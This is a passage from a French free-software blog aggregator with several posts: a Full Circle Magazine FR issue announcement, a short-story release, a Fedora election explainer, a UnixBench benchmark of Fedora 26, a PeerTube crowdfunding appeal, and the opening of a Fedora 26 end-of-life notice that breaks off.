<p>Outre les bonnes choses habituelles, vous trouverez :</p>

<ul><li>Comment mettre 10 distrib. Linux sur une seule et même clé USB avec succès (rubrique Labo Linux) ;</li>
<li>Des tutoriels : Freeplane et Inkscape, mais aussi Python (car Greg est de retour !) et la troisième partie d'Ubuntu Touch ;</li>
<li>Deux critiques : l'une est littéraire et l'autre, dans Jeux Ubuntu, concerne Dwarf Fortress et son installation.</li>
</ul><p>Nous vous souhaitons bonne lecture, en espérant que, vous aussi, vous voudrez rejoindre notre équipe, car plus on est de fous...</p>

<ul><li>Bab, notre scribeur,</li>
<li>AE, d52fr et christo.2so, traducteurs, et</li>
<li>les relecteurs, AE, Bab, christo.2so, d52fr et Paul.</li>
</ul>
<p><img src="media/163a60d9.dd0e1a508d7347d53e0da0678bfd7aff" data-original-source="http://cdn.libravatar.org/avatar/dd0e1a508d7347d53e0da0678bfd7aff" alt="Gravatar de Full Circle Magazine FR" class="gravatar" /><br/><i>Original post of <a href="http://www.fullcirclemag.fr/?post/2018/05/28/Le-132-est-arriv%C3%A9" title="Visit the source">Full Circle Magazine FR</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Full Circle Magazine FR : <a href="">Voici, enfin, le num&eacute;ro 52 !</a> (04/11/2011)</li><li>Full Circle Magazine FR : <a href="">Et voici.. le num&eacute;ro 53 !</a> (13/12/2011)</li><li>Full Circle Magazine FR : <a href="">Le num&eacute;ro 54... enfin !</a> (18/01/2012)</li><li>Full Circle Magazine FR : <a href="">Sortie du num&eacute;ro 56</a> (09/03/2012)</li><li>Full Circle Magazine FR : <a href="">Voici le 57 !</a> (29/03/2012)</li></ul></div></p>


feed_id: https://marienfressinaud.fr/un-homme-sans-reve.html
title: Marien Fressinaud : Un homme sans rêve
uri: Marien-Fressinaud-Un-homme-sans-rêve
url: https://marienfressinaud.fr/un-homme-sans-reve.html
content:
<p>Écrire un bouquin de 50 000 mots en un mois, c’était le défi que je m’étais
fixé en <a href="https://marienfressinaud.fr/en-novembre-cest-nanowrimo.html">novembre 2014</a>.
Ces mots, je ne les ai jamais publiés nul part. Ils étaient pourtant là,
couchés sur de multiples octets, ces 50 000 mots et le défi du
<a href="https://fr.wikipedia.org/wiki/National_Novel_Writing_Month">NaNoWriMo</a>
relevé. Mais l’excitation redescendue, les deux pieds à nouveau sur Terre, il
fallait se rendre à l’évidence : ce n’était vraiment pas terrible. Des fautes,
des incohérences, des dialogues pourris, des éléments de l’intrigue avec
lesquels je n’étais pas à l’aise… et même une intrigue pas intrigante pour un
sou !</p>
<p>Pourtant, au milieu de tout ça il y avait forcément moyen de sauver quelques
meubles. En 50 000 mots, il y a forcément des fulgurances, des choses qui
fonctionnent mieux que d’autres, un ensemble de mots et de phrases qui
« sonnent » bien. C’est en mars 2016 que je relus l’histoire d’<em>Asmara</em>, avec
beaucoup de recul et que je reprenais un certain plaisir à me plonger dans un
univers que j’avais créé (hey ! C’est pas rien non plus). Un chapitre en
particulier (le dernier écrit) retint mon attention : il y avait matière à en
tirer une mini-nouvelle.</p>
<p>Quelques relectures et corrections plus tard, elle était prête. Cela m’avait
pris seulement 9 jours à retravailler ce court texte, mais il me fallut deux
ans de plus pour trouver le courage de le publier. Alors voilà, je pose tout ça
là, ignorant si ma nouvelle sera lue ou non. Pour moi il s’agit surtout de
mener un peu plus loin ce que j’ai entamé il y a 3 ans et demi avec le
NaNoWriMo, bien qu’il reste encore beaucoup de chemin à parcourir avant d’en
dévoiler plus sur <em>Asmara</em>.</p>
<p>La nouvelle se nomme <em>Un homme sans rêve</em> et est placée sous licence <a href="https://creativecommons.org/licenses/by/4.0/">CC BY</a>.</p>
<ul><li><a href="media/3b7bfac4.Un_homme_sans_reve.pdf" data-original-source="https://marienfressinaud.fr/Un_homme_sans_reve.pdf">fichier PDF</a></li>
<li><a href="media/6017dbcc.Un_homme_sans_reve.epub" data-original-source="https://marienfressinaud.fr/Un_homme_sans_reve.epub">fichier EPUB</a></li>
<li><a href="https://framagit.org/marien.fressinaud/un-homme-sans-reve">le dépôt Git</a>
  (l’historique peut être intéressant si vous vous questionnez sur le processus
  de réécriture)</li>
</ul><p>Ce chapitre/nouvelle est en fait une réinterprétation d’un chapitre de
<a href="https://fr.wikipedia.org/wiki/1984_(roman)"><em>1984</em></a> de Georges Orwell, toute
ressemblance n’est absolument pas fortuite. Le défi lors de cette réécriture
était surtout de travailler les dialogues et l’évolution psychologique du
personnage. Comme la nouvelle s’inscrit dans un contexte plus global, il
subsiste des références au reste de l’histoire que vous ne saisirez
probablement pas. J’ai décidé de les conserver pour me laisser des pistes à
explorer de nouveau lorsque je souhaiterai me replonger dans <em>Asmara</em>.</p>
<p>Je vous souhaite une bonne lecture !</p>
<p><img src="media/aa8c2751.ea7e8807d513b71b5779dcee35c8e611" data-original-source="http://cdn.libravatar.org/avatar/ea7e8807d513b71b5779dcee35c8e611" alt="Gravatar de Marien Fressinaud" class="gravatar" /><br/><i>Original post of <a href="https://marienfressinaud.fr/un-homme-sans-reve.html" title="Visit the source">Marien Fressinaud</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-Conseil-et-Mindshare-cette-semaine
title: Renault : Élections pour le Conseil et Mindshare cette semaine
uri: Renault-Élections-pour-le-Conseil-et-Mindshare-cette-semaine
url: https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-Conseil-et-Mindshare-cette-semaine
content:
<p>Comme le projet Fedora est communautaire, une partie du collège des
organisations suivantes doit être renouvelée : Council et Mindshare. Et ce sont
les contributeurs qui décident. Exceptionnellement, le collège du FESCo ne sera
pas partiellement renouvelé en même temps, faute de candidatures la fenêtre de
dépôts de candidatures a été élargi pour cet organe.</p>
<p>Chaque candidat a bien sûr un programme et un passif qu'ils souhaitent
mettre en avant durant leur mandat pour orienter le projet Fedora dans
certaines directions. Je vous invite à étudier <a href="https://communityblog.fedoraproject.org/category/elections/" hreflang="en">les
propositions des différents candidats pour cela.</a></p>
<p><img src="media/195eec9b.Vote.png" data-original-source="https://blog.fedora-fr.org/public/renault/Vote.png" alt="J'ai voté" title="J'ai voté, déc. 2008"></p>
<p>Pour voter, il est nécessaire d'avoir un <a href="https://admin.fedoraproject.org/accounts/home" hreflang="fr">compte FAS
actif</a> et de faire son choix <a href="https://admin.fedoraproject.org/voting" hreflang="en">sur le site du
scrutin</a>. Vous avez jusqu'au mercredi 6 juin à 2h heure française pour le
faire. Donc n'attendez pas trop.</p>
<p>Je vais profiter de l'occasion pour résumer le rôle de chacun de ces comités
afin de clarifier l'aspect décisionnel du projet Fedora mais aussi visualiser
le caractère communautaire de celui-ci.</p>
<h3>Council</h3>
<p>Le <a href="https://fedoraproject.org/wiki/Council" hreflang="en">Council</a> est ce qu'on pourrait qualifier le grand conseil du projet.
C'est donc l'organe décisionnaire le plus élevé de Fedora. Le conseil définit
les objectifs à long terme du projet Fedora et participe à l'organisation de
celui-ci pour y parvenir. Cela se fait notamment par le biais de discussions
ouvertes et transparentes vis à vis de la communauté.</p>
<p>Mais il gère également l'aspect financier. Cela concerne notamment les
budgets alloués pour organiser les évènements, produire les goodies, ou des
initiatives permettant de remplir les dits objectifs. Ils ont enfin la charge
de régler les conflits personnels importants au sein du projet, tout comme les
aspects légaux liés à la marque Fedora.</p>
<p>Les rôles au sein du conseil sont complexes.</p>
<h4>Ceux avec droit de vote complet</h4>
<p>Tout d'abord il y a le <a href="https://fedoraproject.org/wiki/Project_Leader?rd=Fedora_Project_Leader" hreflang="en">FPL (Fedora Project Leader)</a> qui est le dirigeant du conseil
et <em>de facto</em> le représentant du projet. Son rôle est lié à la tenue de
l'agenda et des discussions du conseil, mais aussi de représenter le projet
Fedora dans son ensemble. Il doit également servir à dégager un consensus au
cours des débats. Ce rôle est tenu par un employé de Red Hat et est choisi avec
le consentement du conseil en question.</p>
<p>Il y a aussi le FCAIC (Fedora Community Action and Impact Coordinator) qui
fait le lien entre la communauté et l'entreprise Red Hat pour faciliter et
encourager la coopération. Comme pour le FPL, c'est un employé de Red Hat qui
occupe cette position avec l'approbation du conseil.</p>
<p>Il y a deux places destinées à la représentation technique et à la
représentation plus marketing / ambassadrice du projet. Ces deux places
découlent d'une nomination décidée au sein des organes dédiées à ces activités
: le FESCo et le Mindshare. Ces places sont communautaires mais ce sont
uniquement ces comités qui décident des attributions.</p>
<p>Il reste deux places communautaires totalement ouvertes et dont tout le
monde peut soumettre sa candidature ou voter. Cela permet de représenter les
autres secteurs d'activité comme la traduction ou la documentation mais aussi
la voix communautaire au sens la plus large possible. C'est pour ces places que
le vote est ouvert cette semaine !</p>
<h4>Ceux avec le droit de vote partiel</h4>
<p>Un conseiller en diversité est nommé par le FPL avec le soutien du conseil
pour favoriser l'intégration au sein du projet des populations le plus souvent
discriminées. Son objectif est donc de déterminer les programmes pour régler
cette problématique et résoudre les conflits associés qui peuvent se
présenter.</p>
<p>Un gestionnaire du programme Fedora qui s'occupe du planning des différentes
versions de Fedora. Il s'assure du bon respect des délais, du suivi des
fonctionnalités et des cycles de tests. Il fait également office de secrétaire
du conseil. C'est un employé de Red Hat qui occupe ce rôle toujours avec
l'approbation du conseil.</p>
<h3>Mindshare</h3>
<p><a href="https://fedoraproject.org/wiki/Mindshare" hreflang="fr">Mindshare</a> est une évolution du <a href="https://fedoraproject.org/wiki/Fedora_Ambassadors_Steering_Committee?rd=FAMSCO" hreflang="en">FAmSCo (Fedora Ambassadors Steering Committee)</a> qu'il
remplace. Il est l'équivalent du FESCo sur l'aspect plus humain du projet.
Pendant que le FESCo se préoccupera beaucoup plus des empaqueteurs, la
préoccupation de ce conseil est plutôt l'ambassadeur et les nouveaux
contributeurs.</p>
<p>Voici un exemple des thèmes dont il a compétence qui viennent du FAmSCo
:</p>
<ul><li>Gérer l'accroissement des ambassadeurs à travers le mentoring ;</li>
<li>Pousser à la création et au développement des communautés plus locales
comme la communauté française par exemple ;</li>
<li>Réaliser le suivi des évènements auxquels participent les ambassadeurs
;</li>
<li>Accorder les ressources aux différentes communautés ou activités, en
fonction des besoin et de l'intérêt ;</li>
<li>S'occuper des conflits entre ambassadeurs.</li>
</ul><p>Et ses nouvelles compétences :</p>
<ul><li>La communication entre les équipes, notamment entre la technique et le
marketing ;</li>
<li>Motiver les contributeurs à s'impliquer dans différents groupes de travail
;</li>
<li>Gérer l'arrivé de nouveaux contributeurs pour les guider, essayer de
favoriser l'inclusion de personnes souvent peu représentées dans Fedora
(femmes, personnes non américaines et non européennes, étudiants, etc.) ;</li>
<li>Gestion de l'équipe marketing.</li>
</ul><p>Il y a 9 membres pour gérer ce nouveau comité. Un gérant, 2 proviennent des
ambassadeurs, un du design et web, un de la documentation, un du marketing, un
de la commops et les deux derniers sont élus. C'est pour ces deux derniers
sièges que les scrutins sont ouverts.</p>
<p><img src="media/d143d7a6.f792a7629fb4a46c01613eb1976730ef" data-original-source="http://cdn.libravatar.org/avatar/f792a7629fb4a46c01613eb1976730ef" alt="Gravatar de Renault" class="gravatar" /><br/><i>Original post of <a href="https://blog.fedora-fr.org/renault/post/%C3%89lections-pour-le-Conseil-et-Mindshare-cette-semaine" title="Visit the source">Renault</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Renault : <a href="">Votez cette semaine pour le FESCo et le Conseil de Fedora !</a> (19/07/2016)</li><li>Renault : <a href="">R&eacute;sultats des &eacute;lections de Fedora</a> (29/01/2017)</li><li>Renault : <a href="">Petit probl&egrave;me dans les &eacute;lections du FAmSCo</a> (06/03/2017)</li><li>Renault : <a href="">&Eacute;lections pour le Conseil, FESCo et FAmSCo cette semaine</a> (08/08/2017)</li><li>Renault : <a href="">R&eacute;sultats des &eacute;lections de Fedora 08/17</a> (22/08/2017)</li></ul></div></p>


title: Eddy33 : Fedora 26 : performances pour la version 64 bits
uri: Eddy33-Fedora-26-performances-pour-la-version-64-bits
feed_id:
http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/05/31/Fedora-26-%3A-performances-pour-la-version-64-bits

url:
http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/05/31/Fedora-26-%3A-performances-pour-la-version-64-bits

content:
<p>Salut.</p>
<p>Suite à mon <a href="http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/01/30/Fedora-%3A-comparaison-des-performances-pour-les-versions-32-bits">billet</a>
sur la fin de mes tests de Fedora 32 bits avec la version 25, je repars
donc avec les tests de Fedora 26 version 64 bits. Pour cette première
fois, il n'y a pas de comparaison avec une autre version de Fedora.</p>
<p>Pour rappel, ma machine est équipée d'un Quad Core Intel Q6600 à 2,4 GHz avec 4 Go de RAM.
</p>
<p>Je me suis limité au benchmark UnixBench qui fournit un indice global, ce qui me simplifiera la comparaison.
La version UnixBench utilisée est la version <a href="http://www.tux.org/pub/tux/niemi/unixbench/unixbench-4.1.0.tgz">4.1.0</a>.</p>
Mon protocole de tests est le suivant : <br><ul><li>Installation de Fedora 26 version 64 bits avec le noyau Fedora 4.11.8-300.fc26.x86_64.</li>
<li>La machine est placée en niveau 3 (init 3).</li>
<li>10 séries de tests avec UnixBench compilé sous Fedora 26 et exécuté sous Fedora 26 (4.11.8-300.fc26.x86_64).</li>
</ul><div>
Voici les résultats obtenus :</div>    <br><div><h2>Fedora 26 version 64 bits :</h2>
<a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_1">Série 1</a> : 952.0 </div><div><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_2">Série 2</a> : 986.1<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_3">Série 3</a> : 886.1<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_4">Série 4</a> : 976.2<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_5">Série 5</a> : 970.3<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_6">Série 6</a> : 982.4<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_7">Série 7</a> : 972.3<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_8">Série 8</a> : 981.0<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_9">Série 9</a> : 998.7<br><a hreflang="fr" href="http://eddy33.eddy33.free.fr/benchmarks/F26/unixbench_64_10">Série 10</a> : 973.2<br><br>
Moyenne : 967.8<br><br><h2>Résultats :</h2>
Pour Fedora 26, on obtient un indice moyen de 967.8 pour UnixBench.<br><br><h2>Conclusion :</h2>
<br>Pour rappel, on avait obtenu 791.2 avec Fedora 25 version 32 bits.  La version 64 bits est donc plus performante que la version 32 bits et je l'avais déjà <a href="http://eddy33.eddy33.free.fr/weblog/index.php?post/2007/10/30/Fedora-7-%3A-version-32-bits-vs-version-64-bits">noté</a> en octobre 2007...<br><br>++</div>
<p><img src="media/889f4f2a.d1430102ed05bb1a49902c819454fef2" data-original-source="http://cdn.libravatar.org/avatar/d1430102ed05bb1a49902c819454fef2" alt="Gravatar de Eddy33" class="gravatar" /><br/><i>Original post of <a href="http://eddy33.eddy33.free.fr/weblog/index.php?post/2018/05/31/Fedora-26-%3A-performances-pour-la-version-64-bits" title="Visit the source">Eddy33</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>TitaX : <a href="">Fedora 12 version alpha</a> (26/08/2009)</li><li>TitaX : <a href="">Fedora 10 et la version Beta</a> (02/10/2008)</li><li>Eddy33 : <a href="">Fedora 15 vs Fedora 14 : comparaison des performances pour les versions 32 bits</a> (29/08/2011)</li><li>Eddy33 : <a href="">Fedora 16 vs Fedora 15 : comparaison des performances pour les versions 32 bits</a> (11/12/2011)</li><li>Eddy33 : <a href="">Fedora 17 vs Fedora 16 : comparaison des performances pour les versions 32 bits</a> (26/09/2012)</li></ul></div></p>


feed_id: https://framablog.org/2018/05/31/peertube-vers-la-version-1-et-au-dela/
title: Framablog : PeerTube : vers la version 1, et au-delà !
uri: Framablog-PeerTube-vers-la-version-1-et-au-delà
url: https://framablog.org/2018/05/31/peertube-vers-la-version-1-et-au-dela/
content:
<p><a href="https://joinpeertube.org/">PeerTube</a> est un logiciel libre permettant d’héberger et de partager des vidéos.</p>
<p>Ses principales différences avec YouTube, Dailymotion, Vimeo &amp; co ?</p>
<ul><li><em>PeerTube est libre</em> : son code est un « commun » numérique, partagé avec tous et toutes, et non une recette secrète appartenant à Google (pour YouTube) ou à Vivendi/Bolloré (pour Dailymotion).</li>
<li><em>PeerTube est décentralisé</em> : toute personne en ayant les compétences peut l’installer sur son propre serveur et mettre en place « sa » version de PeerTube (qu’on appelle une <em>« instance »</em>).</li>
<li><em>PeerTube n’impose pas de gouvernance</em> : contrairement à YouTube, toute structure (individu, entreprise, association, communauté, etc.) ayant installé son instance PeerTube peut choisir sa thématique, les vidéos qu’elle héberge, qui peut s’y enregistrer pour disposer d’un compte, etc.</li>
<li><em>PeerTube est fédéré</em> : contrairement à YouTube qui est un seul énorme silo contenant des milliards de vidéos, une instance PeerTube peut se connecter à d’autres instances de son choix et afficher leurs vidéos, sans avoir besoin de changer de site. Ainsi, avec PeerTube, vos vidéos ne sont plus isolées sur une seule machine : elles peuvent être cherchées et regardées depuis des centaines d’autres instances PeerTube.</li>
<li><em>PeerTube permet du streaming en pair-à-pair</em> : contrairement à YouTube, qui est le seul « émetteur » de la vidéo, si 100 personnes regardent une même vidéo avec PeerTube, elles s’envoient de petits morceaux de la vidéo les unes aux autres, diminuant ainsi les coûts de diffusion pour la structure hébergeant l’instance.</li>
</ul><p><span></span></p>
<div><iframe src="https://framatube.org/videos/embed/9db9f3f1-9b54-44ed-9e91-461d262d2205" width="300" height="150" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<div><small>[Vidéo de présentation de PeerTube, en anglais, avec les sous-titres français, sur <a href="https://framatube.org/videos/watch/9db9f3f1-9b54-44ed-9e91-461d262d2205">Framatube</a>. Pour la vidéo avec les sous-titres en anglais, <a href="https://framatube.org/videos/watch/217eefeb-883d-45be-b7fc-a788ad8507d3">cliquez ici</a>. Réalisation : <a href="http://libreart.info/fr/">Association LILA</a> (CC by-sa)]</small></div>
<p> </p>
<p><strong>Rappel des épisodes précédents</strong> : en <a href="https://framablog.org/2017/11/22/framatube-aidez-nous-a-briser-lhegemonie-de-youtube/">novembre dernier</a>, nous vous annoncions que Framasoft avait recruté Chocobozzz, le développeur du logiciel PeerTube (alors en version <em>alpha</em>), afin de lui donner les moyens de produire une version <em>bêta</em> du logiciel.<br>
Nous vous avions alors sollicités pour nous aider à financer ce contrat de quelques mois (octobre 2017 à mars 2018). Grâce à l’aide précieuse de centaines de donatrices et donateurs, nous avons pu tenir notre engagement et <a href="https://framablog.org/2018/03/21/peertube-beta-une-graine-dalternative-a-youtube-vient-declore/">publier la version <em>bêta</em> de PeerTube en mars 2018</a> (en respectant les délais, en plus !).</p>
<p>Depuis, les instances PeerTube ont fleuri. On compte aujourd’hui <a href="http://instances.joinpeertube.org/">plus d’une centaines d’instances publiques déclarées</a> (et sans doute bien plus non publiquement déclarées), hébergeant plusieurs milliers de vidéos !<br>
Nous avons aussi pu éprouver sa robustesse lorsque nos amis de Datagueule ont publié <a href="https://peertube.datagueule.tv/videos/watch/0b04f13d-1e18-4f1d-814e-4979aa7c9c44">leur film « Démocratie(s) »</a> simultanément sur YouTube et PeerTube. Malgré des milliers de connexions, le logiciel a parfaitement tenu la charge :-)</p>
<h2>Vers la version 1, et au-delà !</h2>
<p>Cependant, force est de constater que PeerTube reste un logiciel encore non finalisé.<br>
Par exemple la recherche n’est pas encore très fonctionnelle (si vous cherchez « <a href="https://framatube.org/videos/search?search=internet%20own%20boy">Iinternet own boy</a> » sur Framatube, aucun résultat n’est retourné, alors que si vous cherchez « <a href="https://framatube.org/videos/search?search=internet%27s%20own%20boy">internet’s own boy</a>« , vous pourrez accéder à cet excellent documentaire sur la vie de l’hacktiviste Aaron Swartz).<br>
PeerTube ne permet pas non plus encore d’intégrer un fichier de sous-titres à une vidéo. Ou d’afficher son interface dans une autre langue que l’anglais, etc.<br>
Bref, PeerTube fonctionne (bien), mais il reste encore de nombreuses améliorations à y apporter pour pouvoir le considérer comme une alternative sérieuse à YouTube.</p>
<p>Framasoft a donc fait le pari de prolonger le contrat de Chocobozzz jusqu’à la fin de l’année 2018, afin là encore de se donner les moyens d’atteindre son objectif, fournir une version 1 de PeerTube.</p>
<p>Mais là encore, se posait la question du financement de ce poste.</p>
<p>Comme nous avions déjà sollicité la communauté francophone (qui connaît plutôt bien l’association Framasoft et nous fait confiance depuis des années), nous ne souhaitions <strong>pas</strong> demander à cette communauté de mettre à nouveau la main au portefeuille.</p>
<div><img title="Représentation d'instances PeerTube (CC by-sa - Association LILA)" src="media/b43027d9.PeerTube-Freedom-rules-cost-1527086621.png" data-original-source="https://framablog.org/wp-content/uploads/2018/05/PeerTube-Freedom-rules-cost-1527086621.png" alt="" width="540" height="307" srcset="https://framablog.org/wp-content/uploads/2018/05/PeerTube-Freedom-rules-cost-1527086621.png 540w, https://framablog.org/wp-content/uploads/2018/05/PeerTube-Freedom-rules-cost-1527086621-300x171.png 300w" sizes="(max-width: 540px) 100vw, 540px"><p>Représentation d’instances PeerTube (CC by-sa – Association LILA)</p></div>
<p> </p>
<h2>Framasoft Need You !</h2>
<p>Nous avons donc fait le choix de lancer une « classique » campagne de financement participatif. <strong>Mais de nous adresser avant tout au public non-francophone lors de son lancement.</strong></p>
<p>En effet, les actions de Framasoft sont relativement inconnues à l’étranger. Évidemment parce que l’essentiel de nos travaux (maison d’édition <a href="https://framabook.org/">Framabook</a>, annuaire <a href="https://framalibre.org/">Framalibre</a>, et bien entendu nos différents services libres de la <a href="https://degooglisons-internet.org/liste">campagne « Dégooglisons Internet »</a>) sont publiés en français, mais aussi parce que nous communiquons et intervenons rarement à l’étranger (à <a href="https://fosdem.org/2018/schedule/event/contributopia/">quelques</a> <a href="http://konf.fsf.hu/cgis/ossc/2018/speaker">exceptions</a> <a href="https://www.youtube.com/watch?v=H-sHi5TYmWs">près</a>).<br>
Nous souhaitons donc, avec cette campagne, sensibiliser le public non-francophone, en l’informant de l’existence de PeerTube (qui n’est pas un <a href="https://fr.wikipedia.org/wiki/Vaporware">vaporware</a>  puisque déjà largement fonctionnel).</p>
<p>Par ailleurs, et de façon pas du tout anecdotique, nous souhaitons remercier <a href="http://libreart.info/fr/">l’association LILA</a> qui, en parallèle de la réalisation de <a href="http://film.zemarmot.net/fr/">ZeMarmot</a> (long métrage d’animation réalisé avec <a href="https://www.gimp.org/fr/">Gimp</a>), a réalisé la magnifique animation que vous pouvez découvrir au début de cet article ou, bien entendu, sur la page de campagne. Cette vidéo a été réalisée uniquement avec des logiciels libres (<a href="https://www.gimp.org/fr/">Gimp</a>, ça va de soi, mais aussi <a href="https://www.synfig.org/">Synfig</a> et <a href="https://www.blender.org/">Blender</a>). Merci à Jehan et Aryeom pour leur colossal travail en un temps record ! N’hésitez pas à les remercier et à <a href="https://www.tipeee.com/zemarmot">les encourager financièrement</a> pour leurs travaux.</p>
<p>Notez que la <a href="https://framatube.org/videos/watch/217eefeb-883d-45be-b7fc-a788ad8507d3">vidéo est disponible sur Framatube</a> (évidemment) afin de pouvoir la partager. Elle est naturellement sous licence libre (CC by-sa), ainsi que la <a href="http://play.dogmazic.net/song.php?song_id=52491">musique</a> (par Ken Bushima – CC by).</p>
<p>La page de la campagne en anglais est accessible ici : <a href="https://www.kisskissbankbank.com/en/projects/peertube-a-free-and-federated-video-platform/">https://www.kisskissbankbank.com/en/projects/peertube-a-free-and-federated-video-platform/</a> (et en français ici : <a href="https://www.kisskissbankbank.com/fr/projects/peertube-a-free-and-federated-video-platform/">https://www.kisskissbankbank.com/fr/projects/peertube-a-free-and-federated-video-platform/</a> )</p>
<div><a href="https://www.kisskissbankbank.com/fr/projects/peertube-a-free-and-federated-video-platform/"><img title="Le premier des trois paliers de la camapgne de financement PeerTube (CC by-sa - Association LILA)" src="media/681f19fa.PeerTube-20K-triangles-1527076246.png" data-original-source="https://framablog.org/wp-content/uploads/2018/05/PeerTube-20K-triangles-1527076246.png" alt="" width="540" height="304" srcset="https://framablog.org/wp-content/uploads/2018/05/PeerTube-20K-triangles-1527076246.png 540w, https://framablog.org/wp-content/uploads/2018/05/PeerTube-20K-triangles-1527076246-300x169.png 300w" sizes="(max-width: 540px) 100vw, 540px"></a><p>Le premier des trois paliers de la campagne de financement PeerTube (CC by-sa – Association LILA)</p></div>
<h2>Comment nous aider ?</h2>
<p>Vous pouvez bien évidemment participer financièrement à la campagne de financement participatif, mais si vous l’avez déjà fait fin 2017, vous aurez compris qu’on ne vous met pas la pression (d’autant que cette fois, il n’y aura probablement pas de défiscalisation possible).</p>
<p>Vous pouvez aussi nous aider à traduire certaines parties de la campagne, qu’il s’agisse de la page de campagne, de la FAQ, des sous-titres de la vidéo, ou du site <a href="https://joinpeertube.org/">joinpeertube.org</a>, en vous signalant comme volontaire <a href="https://framacolibri.org/c/qualite/peertube">sur notre forum</a>.</p>
<p><strong>Nous sollicitons surtout votre aide pour partager l’information sur les médias sociaux (libres ou non), en utilisant si possible le hashtag #joinpeertube !<br></strong></p>
<p>Si vous avez un oncle d’Amérique, une tante en Australie, une cousine au Chili, ou un frère en Allemagne, lui signaler l’existence de PeerTube nous serait d’une grande aide pour faire découvrir ce projet qui nous semble essentiel pour l’émancipation de toutes et tous.</p>
<ul><li><strong><a href="https://www.kisskissbankbank.com/en/projects/peertube-a-free-and-federated-video-platform/">Lien de la campagne (EN) </a></strong></li>
<li><a href="https://www.kisskissbankbank.com/fr/projects/peertube-a-free-and-federated-video-platform/"><strong>Lien de la campagne (FR)</strong></a></li>
</ul><p> </p>
<div><a href="https://www.kisskissbankbank.com/en/projects/peertube-a-free-and-federated-video-platform/"><img title="Joinpeertube - Cliquez pour accéder à la page de campagne" src="media/d9875b3c.PeerTube-joinpeertubeorg-300x170.jpg" data-original-source="https://framablog.org/wp-content/uploads/2018/05/PeerTube-joinpeertubeorg-300x170.jpg" alt="" width="300" height="170" srcset="https://framablog.org/wp-content/uploads/2018/05/PeerTube-joinpeertubeorg-300x170.jpg 300w, https://framablog.org/wp-content/uploads/2018/05/PeerTube-joinpeertubeorg-768x436.jpg 768w, https://framablog.org/wp-content/uploads/2018/05/PeerTube-joinpeertubeorg-1024x581.jpg 1024w, https://framablog.org/wp-content/uploads/2018/05/PeerTube-joinpeertubeorg.jpg 1920w" sizes="(max-width: 300px) 100vw, 300px"></a><p>Joinpeertube – Cliquez pour accéder à la page de campagne</p></div>
<p><img src="media/d4130779.f411e4809021b786b7eb0c8956612e76" data-original-source="http://cdn.libravatar.org/avatar/f411e4809021b786b7eb0c8956612e76" alt="Gravatar de Framablog" class="gravatar" /><br/><i>Original post of <a href="https://framablog.org/2018/05/31/peertube-vers-la-version-1-et-au-dela/" title="Visit the source">Framablog</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Framablog : <a href="">Framatube&amp;nbsp;: aidez-nous &amp;agrave; briser l&amp;rsquo;h&amp;eacute;g&amp;eacute;monie de YouTube</a> (22/11/2017)</li><li>Framablog : <a href="">PeerTube&amp;nbsp;: les r&amp;eacute;ponses &amp;agrave; vos questions techniques&amp;nbsp;!</a> (01/12/2017)</li><li>Framablog : <a href="">Framatube&amp;nbsp;: nos r&amp;eacute;ponses &amp;agrave; vos questions pratiques&amp;nbsp;!</a> (01/12/2017)</li><li>Framablog : <a href="">Framatube&amp;nbsp;: f&amp;eacute;d&amp;eacute;ration et design de PeerTube</a> (12/12/2017)</li><li>Framablog : <a href="">PeerTube b&amp;ecirc;ta&amp;nbsp;: une graine d&amp;rsquo;alternative &amp;agrave; YouTube vient d&amp;rsquo;&amp;eacute;clore</a> (21/03/2018)</li></ul></div></p>


feed_id: https://blog.fedora-fr.org/renault/post/Fin-de-vie-de-Fedora-26
title: Renault : Fin de vie de Fedora 26
uri: Renault-Fin-de-vie-de-Fedora-26
url: https://blog.fedora-fr.org/renault/post/Fin-de-vie-de-Fedora-26
content:
<p>C'est en ce vendredi 1er juin 2018 que Fedora 26 a été déclaré comme en fin
de vie.</p>
<h3>Qu'est-ce que c'est ?</h3>
<p>Un mois après la sortie d'une version de Fedora n, ici Fedora 28, la version
n-2 (donc Fedora 26) est déclarée comme en fin de vie. Ce mois sert à donner du
temps aux utilisateurs pour faire la mise à niveau. Ce qui fait qu'en moyenne
une version est officiellement maintenue pendant 13 mois. Mais comme nous
pouvons le voir, cela ne reste qu'une moyenne. Fedora 26 étant sortie
tardivement (juillet 2017) il n'aura eu une maintenance que de 10 mois et demi
!</p>
<p>En effet, la fin de vie d'une version signifie qu'elle n'aura plus de mises
à jour et plus aucun bogue ne sera corrigé. Pour des questions de sécurité,
avec des failles non corrigées, il est vivement conseillé aux utilisateurs de
Fedora 26 et antérieurs d'effectuer la mise à niveau vers Fedora 28 ou 27.</p>
<h3>Que faire ?</h3>
<p>Si vous êtes concernés, il est nécessaire de faire la mise à niveau de vos
